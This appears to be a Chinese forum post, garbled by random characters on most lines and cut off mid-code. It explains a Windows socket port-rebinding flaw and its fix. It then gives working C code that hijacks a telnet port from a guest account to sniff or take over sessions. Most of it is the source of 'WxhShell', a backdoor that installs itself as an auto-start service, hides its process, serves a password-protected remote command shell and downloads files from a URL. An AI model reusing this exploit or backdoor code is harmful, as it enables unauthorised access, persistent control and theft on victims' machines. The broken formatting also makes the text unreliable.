在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
s#-eN)1R s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
pyB~M9Bp/ S GcBmjP saddr.sin_family = AF_INET;
N{joXHCu .;I29yk\XS saddr.sin_addr.s_addr = htonl(INADDR_ANY);
KL3<Iz] ps1@d[n bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
sH!O0WL pP/@ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
')#,X^
,=%nw]: 这意味着什么?意味着可以进行如下的攻击:
UpUp8%fCU <'m6^]: 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
clDHTj=~ @LX6hm*} 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
M] EsS^/X )pgrl 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
45+{nN[ @h?crJ6$ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
zCe/Kukvy
WS0JS' 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
TT}]wZ T] | d5E 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
oRY!\ADR IF_D Z 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\7 a4uc k DsIp= #include
f}fsoDoQ= #include
;!u;!F!i #include
Kn}ub+
"J #include
dbF M,"^ DWORD WINAPI ClientThread(LPVOID lpParam);
j$@tK0P int main()
l?E|RKp {
vA&Vu"}S WORD wVersionRequested;
;5S}~+j DWORD ret;
9'KonW WSADATA wsaData;
#$ 1$T BOOL val;
d>i13dAI SOCKADDR_IN saddr;
Z`_.x
&Y SOCKADDR_IN scaddr;
1Ix3i9 int err;
}vh Za p^ SOCKET s;
g1[&c+=U`P SOCKET sc;
9K"JYJ
q2 int caddsize;
}STYG` HANDLE mt;
ST',4Oph5 DWORD tid;
Fwfo2 wVersionRequested = MAKEWORD( 2, 2 );
k*$3i err = WSAStartup( wVersionRequested, &wsaData );
Z[L5 ; if ( err != 0 ) {
M7dU@ Ag printf("error!WSAStartup failed!\n");
_6LoVS return -1;
-T_\f?V88 }
=_d%=m saddr.sin_family = AF_INET;
0!#;j{JQ >S#ul? //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
tFh|V
pB f`P9ku#j} saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
+!O-kd saddr.sin_port = htons(23);
p^QZ q>v if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
.5Z_E
O {
(xT*LF+ printf("error!socket failed!\n");
VXKT\9g3A return -1;
:L$4*8@`+ }
>L>+2z val = TRUE;
7TWNB{
K_ //SO_REUSEADDR选项就是可以实现端口重绑定的
Sp?NfJ\Ie if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
o$J6 ~dn {
([k7hUP printf("error!setsockopt failed!\n");
9){ return -1;
$kz!zjC' }
_<Dt
z //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
eBcJm //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
l5O=VqCj //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
kW-81 L*
|1/ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
NPJ.+ph {
(6qsKX ret=GetLastError();
;e{5)@h$ printf("error!bind failed!\n");
vXcy# return -1;
7_)|I?
=0d }
At9X]t listen(s,2);
bLS&H[fK while(1)
m_lrPY- {
v'ay.oVzw caddsize = sizeof(scaddr);
b1^cD6sT+ //接受连接请求
C1B'#F9EO sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
R]L2(' B if(sc!=INVALID_SOCKET)
[]p"3i {
X r_pgW| mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
n["
9| if(mt==NULL)
C{m&}g` {
kQIw/@WC printf("Thread Creat Failed!\n");
vjlGX T`m break;
=*MR(b> }
xFb3O|TC }
\{v,6JC CloseHandle(mt);
; B$*)X9 }
L.)yXuo4 closesocket(s);
|C-y}iQ:6~ WSACleanup();
u-><}OVf~ return 0;
BQNp$]5s }
u{C)qb5Pu DWORD WINAPI ClientThread(LPVOID lpParam)
uHvaZMu {
DeQDH5X" SOCKET ss = (SOCKET)lpParam;
!v>ew9 SOCKET sc;
6
=>G# unsigned char buf[4096];
! D1zXXq SOCKADDR_IN saddr;
S+T|a:]\7 long num;
Gp|JU Fo DWORD val;
gGfq6{9g DWORD ret;
(F&YdWe: //如果是隐藏端口应用的话,可以在此处加一些判断
=,:K) //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
!Q)3-u saddr.sin_family = AF_INET;
a$}6:E saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
"tR}j,=S:D saddr.sin_port = htons(23);
9k>uRV6 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|]ucHV {
KwFXB printf("error!socket failed!\n");
80&D"" return -1;
nVOqn\m- }
v33T @ val = 100;
Eo=HNe if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
o#{#r@,i {
NMXM[Ukb ret = GetLastError();
]w22@s return -1;
T$c+m\j6 }
8
/m3+5 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Rx S884 {
YFvgz.>QE ret = GetLastError();
r8v:|Q1" return -1;
wn84?$BGd }
e,Zv]Cym if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
hqW$kw {
'NjSu64W printf("error!socket connect failed!\n");
|- OHve4A closesocket(sc);
Xj,j0 closesocket(ss);
h48 bb.p2 return -1;
E .;io*0 }
!-(J-45 while(1)
k3yxx]Rk/ {
4ftj>O //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Q8Te'1Ln! //如果是嗅探内容的话,可以再此处进行内容分析和记录
l1RlYl5 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
aBlbg3 q num = recv(ss,buf,4096,0);
\+]O*Bm&`8 if(num>0)
b|wWHNEdb, send(sc,buf,num,0);
o*_g$ else if(num==0)
~@fanR = break;
OqEHM%j num = recv(sc,buf,4096,0);
RKk" if(num>0)
&kx\W) send(ss,buf,num,0);
N|N/) else if(num==0)
.v
l="< break;
p
JX, n }
v=Mz I#0L closesocket(ss);
i
tW~d closesocket(sc);
H A\A$> return 0 ;
ca}S{" }
C->[$HcRa T &*eOr UJwq n"Q^ ==========================================================
6jtTT%>y AeQC: 下边附上一个代码,,WXhSHELL
4#@0T"T~M ?>TbTfmR ==========================================================
!Bncx`pl i*A$SJ:} #include "stdafx.h"
^Kum%<[i UP*yeT,P, #include <stdio.h>
u[J7Y #include <string.h>
9/H^t*5t #include <windows.h>
x`3.Wu\ #include <winsock2.h>
R\
e#$"a5 #include <winsvc.h>
4ioNA/E #include <urlmon.h>
d#Wn[h$" ;]u1~ #pragma comment (lib, "Ws2_32.lib")
w6v1 q:20 #pragma comment (lib, "urlmon.lib")
U\;Ml 5W5pRd>Q #define MAX_USER 100 // 最大客户端连接数
?a8nz, zb #define BUF_SOCK 200 // sock buffer
|nfH-JytV #define KEY_BUFF 255 // 输入 buffer
Nc:U4 )w@y(;WJ #define REBOOT 0 // 重启
qIk
)'!Vk #define SHUTDOWN 1 // 关机
]o!&2:'N` 6d(b'S^ #define DEF_PORT 5000 // 监听端口
Y?e3B x7*b bZnDd #define REG_LEN 16 // 注册表键长度
$"(3M nR #define SVC_LEN 80 // NT服务名长度
EKJH_!% rZ 6@b // 从dll定义API
jaNH](V typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
'[xut1{ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Qvs(Rt3?y typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
QBT-J`Pz typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
M97p.; ; m_O=X8uj"D // wxhshell配置信息
=.2cZwxX$ struct WSCFG {
{m*J95[
int ws_port; // 监听端口
'H-YFB$l char ws_passstr[REG_LEN]; // 口令
p 7E{es|J int ws_autoins; // 安装标记, 1=yes 0=no
n[p9$W` char ws_regname[REG_LEN]; // 注册表键名
VDI S`E char ws_svcname[REG_LEN]; // 服务名
5r}(|86O/ char ws_svcdisp[SVC_LEN]; // 服务显示名
[g
68O* char ws_svcdesc[SVC_LEN]; // 服务描述信息
~$&r(9P char ws_passmsg[SVC_LEN]; // 密码输入提示信息
|k9j )Hg( int ws_downexe; // 下载执行标记, 1=yes 0=no
$TW+LWb char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
FXwK9
% char ws_filenam[SVC_LEN]; // 下载后保存的文件名
yA )+- {*P7) };
n7YWc5:CaL OG$iZiuf // default Wxhshell configuration
u2Z^iY struct WSCFG wscfg={DEF_PORT,
:s5<AT Q "xuhuanlingzhe",
/P:WQ* 1,
vWU4ZBT8G "Wxhshell",
@T=HcUP) "Wxhshell",
{qdhp_~^l "WxhShell Service",
?fX8WRdh "Wrsky Windows CmdShell Service",
rVW'KN "Please Input Your Password: ",
|4*2xDcl 1,
`pS)qx.a "
http://www.wrsky.com/wxhshell.exe",
H
{Wpf9_
K "Wxhshell.exe"
) x O_ };
G6ES] p:n^c5 // 消息定义模块
TVh7h`Eg char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
:s985sEv char *msg_ws_prompt="\n\r? for help\n\r#>";
[
:(M<u`y> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
F[giq1# char *msg_ws_ext="\n\rExit.";
D`@U[ `Sw char *msg_ws_end="\n\rQuit.";
g<5Pc, char *msg_ws_boot="\n\rReboot...";
$GKm`I" char *msg_ws_poff="\n\rShutdown...";
e<wj5:M| char *msg_ws_down="\n\rSave to ";
+s 0Bt ' %l P char *msg_ws_err="\n\rErr!";
@Sd:]h:f- char *msg_ws_ok="\n\rOK!";
49kia!FR `r bqYU0 char ExeFile[MAX_PATH];
J]YN2{(x int nUser = 0;
PSw+E'; HANDLE handles[MAX_USER];
DG
FvRB int OsIsNt;
!d@`r1t <"P
'"SC SERVICE_STATUS serviceStatus;
S;<?nz3 SERVICE_STATUS_HANDLE hServiceStatusHandle;
3@bjIX`=H ]xeyXw84k // 函数声明
Lj AIB(* int Install(void);
&_^<B7aC'k int Uninstall(void);
W {/z-& int DownloadFile(char *sURL, SOCKET wsh);
$
T_EsnN int Boot(int flag);
{ qx,X.5$ void HideProc(void);
6?x{-Zj^? int GetOsVer(void);
vrDRSc6_ int Wxhshell(SOCKET wsl);
K1WoIv<Ym void TalkWithClient(void *cs);
-KiS6$- int CmdShell(SOCKET sock);
uk/+
i`= int StartFromService(void);
4}FfHgpQ int StartWxhshell(LPSTR lpCmdLine);
0PbIWy' 0'}?3/u- VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
E%:zE Q VOID WINAPI NTServiceHandler( DWORD fdwControl );
NX", e= !\uk b // 数据结构和表定义
/pN2Jst SERVICE_TABLE_ENTRY DispatchTable[] =
Wm&f+{LO+K {
*<j @+Ch {wscfg.ws_svcname, NTServiceMain},
N!~NQ-Re' {NULL, NULL}
aRP+?}b"> };
&fj?hYAj A^pp'{ !. // 自我安装
mwhn=y#]* int Install(void)
Y% 9F {
rq?x]`u
char svExeFile[MAX_PATH];
Kn\(Xd.> HKEY key;
za/#R_%p strcpy(svExeFile,ExeFile);
x)5v8kgf 3]'z8i({7Y // 如果是win9x系统,修改注册表设为自启动
m%\[1|N if(!OsIsNt) {
JH;DVPX9z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Q^Z}Y~. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[SvwJIJJ RegCloseKey(key);
!AHm+C_=Lg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
_q$fw& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`roSOX1f RegCloseKey(key);
O{R5<"g return 0;
jG :R\D}0 }
g3 rFJc }
3dphS ^X }
}O{"qs#) else {
PSE|4{' t"Hrn3w // 如果是NT以上系统,安装为系统服务
rT) R*3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
uK5Px! if (schSCManager!=0)
hj1jY {
::` wx@ SC_HANDLE schService = CreateService
0E[Se|! (
v a;wQ~& schSCManager,
qZ}XjL wscfg.ws_svcname,
Y'h'8
\ wscfg.ws_svcdisp,
0/]vmDr SERVICE_ALL_ACCESS,
?O?~|nI SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
bm.H0rHR4 SERVICE_AUTO_START,
FCPRg^=<!~ SERVICE_ERROR_NORMAL,
'b,D;'v svExeFile,
]f~YeOB@ NULL,
x"80c(i NULL,
:i$Z NULL,
Fgk/Ph3r NULL,
C%>7mz-v5 NULL
,;18: );
PBv43uIL if (schService!=0)
w (-n1oSo {
$)~]4n= CloseServiceHandle(schService);
uNg.y$>CX CloseServiceHandle(schSCManager);
{jI/9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
[\yI<^_a strcat(svExeFile,wscfg.ws_svcname);
d:''qgz` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
=1qkoc~ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
2ZeL RegCloseKey(key);
P|U>(9;P, return 0;
$z]l4Hj }
w%\;|y4+ }
Of=z!|l2 CloseServiceHandle(schSCManager);
](D [T }
jw[`\h}8 }
&i!] 5
S&>9l return 1;
iz(+(M }
/<Et ~/%){t/uLY // 自我卸载
L\[jafb_` int Uninstall(void)
enj2xye%Y {
{xX|5/z HKEY key;
RYNzTA fZO/HzX if(!OsIsNt) {
yw0uF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
:O%O``xT RegDeleteValue(key,wscfg.ws_regname);
5;l_-0= RegCloseKey(key);
m.*+0NG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
f@mM&e=f RegDeleteValue(key,wscfg.ws_regname);
.YkKIei RegCloseKey(key);
LzfLCGA^ return 0;
K\q/JuDfc }
.8m)^ET }
|7-tUHMo[ }
o6R(BMwGa else {
$j/F7.S GZw<Y+/V"5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Y>+D\|%Q if (schSCManager!=0)
ORoraEK {
Fk43sqU6~ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
cPXvTVvs if (schService!=0)
e_TM#J(3 {
k<qQ+\X if(DeleteService(schService)!=0) {
gyK"#-/_d CloseServiceHandle(schService);
AN;?`AM; CloseServiceHandle(schSCManager);
[xC
(t]S- return 0;
`6A"eDa }
PD?H5W3@ CloseServiceHandle(schService);
>XF@=Jp }
KlPH.R3MPO CloseServiceHandle(schSCManager);
i469<^A }
cg~FW2Q }
UnPSJ]VW ?>_.~b~ return 1;
pV!(#45 ~W }
Fi#t88+1
Du/s // 从指定url下载文件
~$$V=$& int DownloadFile(char *sURL, SOCKET wsh)
a
AuQw {
VtVnht1 HRESULT hr;
(Gc5lMiX3 char seps[]= "/";
]k8XLgJ char *token;
r\]WDX!` char *file;
X DX_c@U char myURL[MAX_PATH];
4aRYz\yT= char myFILE[MAX_PATH];
ObCwWj^qO c(jA"K[|b strcpy(myURL,sURL);
"@n$(-. token=strtok(myURL,seps);
%(E6ADB while(token!=NULL)
C {))T5G {
{^qc`oF file=token;
1/m/Iw@ token=strtok(NULL,seps);
h^s}8y }
Q,$x6YwE j\a?n4g - GetCurrentDirectory(MAX_PATH,myFILE);
rLnu\X=h$ strcat(myFILE, "\\");
im'0^ strcat(myFILE, file);
"FU|I1Xz send(wsh,myFILE,strlen(myFILE),0);
2{&" 3dq send(wsh,"...",3,0);
li{_biey} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
A!J5Wz>Q5 if(hr==S_OK)
WC4Il
C return 0;
#GF1MFkoS else
>M!>Hl/ return 1;
JG_7G=~ ()?)Ybqss }
pv T!6+
\|(;q+n?k // 系统电源模块
J+zqu int Boot(int flag)
iqU}t2vFrj {
IFgF5VG6g HANDLE hToken;
fZZ!kea[ TOKEN_PRIVILEGES tkp;
E'ZWSpP ~ce.&C7cR if(OsIsNt) {
p|((r?{ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
=4[zt^WX" LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
O []+v tkp.PrivilegeCount = 1;
_:gV7>S? tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
1$|z%( AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
AL;"S;8 if(flag==REBOOT) {
rQWft r^ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
JUE>g8\b return 0;
kO.rgW82 }
._yr7uY[M else {
0Zq"- if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
:K&hGZ+5 return 0;
P.wINo }
l YhwV\3 }
O<Kr6+
- else {
gW, ET if(flag==REBOOT) {
#RSxo
4 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
|\ay^@N return 0;
NlDM/ }
\)v.dQ! else {
8(A:XQN"h if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
!nu['6I% return 0;
i2*nYd`K }
/L~*FQQK> }
Q.fBuF ^_oLhNoez2 return 1;
LJ)3!Q/: }
&a0%7ea`.S F^\v`l, // win9x进程隐藏模块
Bj2rA.M void HideProc(void)
?{[H+hzz0 {
6!'yU=Z` :eO]65N HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
}}]Y mf if ( hKernel != NULL )
FYj3!
H {
rS
jC/O&b pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
qEpBzQ&gX6 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
g&[g?L FreeLibrary(hKernel);
9\;EX
}
V *]!N *iR`mZb return;
] *Hz' }
6nDx;x&Q (lm/S_U$ // 获取操作系统版本
L{=z}QO int GetOsVer(void)
iN><m| {
#K[
@$BY: OSVERSIONINFO winfo;
qq/Cn4fN8 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
1Tl("XV3 GetVersionEx(&winfo);
MVCCh+,GI if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
C+iP
@~ return 1;
}[Y):Yy else
X4TUi8ht!] return 0;
4e(@b3y }
Uag1vW,c rfZA21y{? // 客户端句柄模块
F7hQNQu: int Wxhshell(SOCKET wsl)
0uvL,hF {
M]2 c- SOCKET wsh;
7%<jZ= struct sockaddr_in client;
Ns $PS\ DWORD myID;
LY>JE6zTt /t/q$X while(nUser<MAX_USER)
E,X,RM~
+D {
p-}:7CXP int nSize=sizeof(client);
`bm-ONK wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
$DVy$)a!u if(wsh==INVALID_SOCKET) return 1;
D9Z5g3s7R 9+/|sU\.% handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
1@ina`!1O if(handles[nUser]==0)
u>E+HxUJ closesocket(wsh);
&yN<@. else
r
{8 nUser++;
V~wmGp.e }
%Xi%LUk{ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
(
r O j,D ooAZ,l=8 return 0;
%{{#Q]]& }
`=*svrmS l ghzd6 // 关闭 socket
; YRZg|Zw void CloseIt(SOCKET wsh)
k (R4-"@ {
v+OVZDf closesocket(wsh);
jQDxbkIuzE nUser--;
u2eqVrY ExitThread(0);
\Q$);:=qQ }
<uvshZv E%e-R6gl // 客户端请求句柄
Q4x71*vy void TalkWithClient(void *cs)
ovohl<o\ {
zM'-2, ~RJg.9V SOCKET wsh=(SOCKET)cs;
BO_^3Me* char pwd[SVC_LEN];
rQqtejcfx char cmd[KEY_BUFF];
7[)(;- char chr[1];
?/wloLS47 int i,j;
Dmw,Bi* f[RnL#*xJU while (nUser < MAX_USER) {
<ZiO[dEV h(L5MZs if(wscfg.ws_passstr) {
9+:Trc\%N if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Wama>dy% //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
lO
*Hv9# //ZeroMemory(pwd,KEY_BUFF);
4L0LT>'M\ i=0;
:uEp7Y4 while(i<SVC_LEN) {
pIXQ/(h31 ox6rR
// 设置超时
.DQ]q o]OG fd_set FdRead;
Ojs\2('u struct timeval TimeOut;
L:<'TXsRA FD_ZERO(&FdRead);
?Y9?x,x FD_SET(wsh,&FdRead);
QKO(8D 6+ TimeOut.tv_sec=8;
I%Awj(9BS TimeOut.tv_usec=0;
qha<.Ro int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
H,}?YW if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
wB^a1=C PjHm#a3zg% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
9V&LJhDQ pwd
=chr[0]; N9Ml&*%oX{
if(chr[0]==0xd || chr[0]==0xa) { [h1{{Nb#ez
pwd=0; ?]z
._I`E
break; 9 2EMDKJ
} -&?-
i++; 4Q>F4v`
} -%.V0=G(Z
iH>djGhTh
// 如果是非法用户,关闭 socket U*@_T 3N
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7d)aDc*TjW
} b\2"1m0H
F0\ry "(t
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &u8c!;y$b
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "DpQnhvbB
JF
gN
while(1) { #t
O!3= 0
Pz 'Hqvd
ZeroMemory(cmd,KEY_BUFF); ?<;<#JN
?KN_J
// 自动支持客户端 telnet标准 3(%,2
j=0; Fo#*_y5\
while(j<KEY_BUFF) { b ~gF,^w
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LPO" K"'w
cmd[j]=chr[0]; S\A[Z&k0
if(chr[0]==0xa || chr[0]==0xd) { s__g*%@B
b
cmd[j]=0; 5IK@<#wE
break; 2. _cEY34
} 9m6j?CFG}
j++; 6,PLzZ5
} 3[0:,^a
Ei-OuDM;)
// 下载文件 Q1Ao65
if(strstr(cmd,"http://")) { l&B'.6XKs
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~}w 8UO
if(DownloadFile(cmd,wsh)) H~Cfni;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^=G+]$ 8
else jH1~Ve+q9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;Y\,2b, xh
} UZra'+Wb
else { V*}zwms6
m##=iB|;
switch(cmd[0]) { 9:o3JGHSc
`t6L'%\
// 帮助 H[
q{R
case '?': { ;^]A@WN6_
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =HHg:"
break; _=5ZB_I
}
v%5(-
// 安装 (#]KjpIK
case 'i': { @{uc
if(Install()) #EUgb7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *q{UipZbx
else $Stu-l1e a
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $P3nP=mf
break; [3Rj?z"S
} 5b p"dIe
// 卸载 Qs:r@"hE
case 'r': { s 'xmv{|
if(Uninstall()) A]$+
`uS\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ziimz}WHF
else ".f:R9-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5g5NTm`=<
break; Umg81!
} WKsx|a]U
// 显示 wxhshell 所在路径 Phu|
hx<
case 'p': { Sj?sw]3
char svExeFile[MAX_PATH]; R:?vY!
strcpy(svExeFile,"\n\r"); `x)bw
strcat(svExeFile,ExeFile); sdQv:nd'R
send(wsh,svExeFile,strlen(svExeFile),0); 1#"Q' ,7
break; VWt'Kx"
} i:ZA{hA`c
// 重启 Ah{pidUx
case 'b': { AW5g (
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;0}2@Q2@ZK
if(Boot(REBOOT)) mC92J@m/L!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PBtU4)
else { E e>j7k.G.
closesocket(wsh); \DK*>
k
ExitThread(0); &,]+>
} D|9fHMg%
break; dRm'$
G9
} j*d~h$[k
// 关机 ^~ $&
case 'd': { -FV'%X$i
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tYZGf xj
if(Boot(SHUTDOWN)) <9a_wGs
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /g'-*:a
else { <z2mNq
closesocket(wsh); F*VMS
ExitThread(0); vp-7>Wj
} [oLQd-+
break; =hIT?Z6A
} }c ;um
// 获取shell \/'n[3x
case 's': { DAHf&/JK
CmdShell(wsh); vqMk)htIz
closesocket(wsh); 5KE%@,k k
ExitThread(0); M l?)Sc"\7
break; PRC)GP&q
} /? 1Yf
// 退出 L^1q/4${
case 'x': { z.&%>%TPP
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9Pk3}f)a
CloseIt(wsh); i03}f%JnuO
break; ^jjJM| a
} pm@Z[g
// 离开 x*8f3^ wE
case 'q': { e uHu}
send(wsh,msg_ws_end,strlen(msg_ws_end),0); O>M*mTM
closesocket(wsh); #UCQiQfP
WSACleanup(); yVQz<tX|
exit(1); YzW7;U
S
break; \Rqh|T<D
} r5fkt>HZ
} 3H#/u! W
} #r)1<}_e#
ugCS &
// 提示信息 h?3l
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ny,A#-?
} MI'l4<>u
} m_02"'
tO>OD#
return; H9Q7({v
} [j]J_S9jJ
S{i@=:
// shell模块句柄 bSR+yr'?
int CmdShell(SOCKET sock) J:Y|O-S!
{ emY5xZ@N
STARTUPINFO si; vs)I pV(
ZeroMemory(&si,sizeof(si)); GL =XiBt
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s8Ry}{
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V/9"Xmv75
PROCESS_INFORMATION ProcessInfo; ro^6:w3O^
char cmdline[]="cmd"; D4O5@KfL
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %iL@:'?K
return 0; roj04|
} gq_7_Y/
Q=L$7
// 自身启动模式 maUHjI
5A-
int StartFromService(void) }42qMOi#w1
{ #C;zS9(]B
typedef struct ]n]uN~)9
{ dFP-(dX#
DWORD ExitStatus; |k
.M+
DWORD PebBaseAddress; l9NOzAH3
DWORD AffinityMask; D7WI(j\
DWORD BasePriority; l&??2VO/t
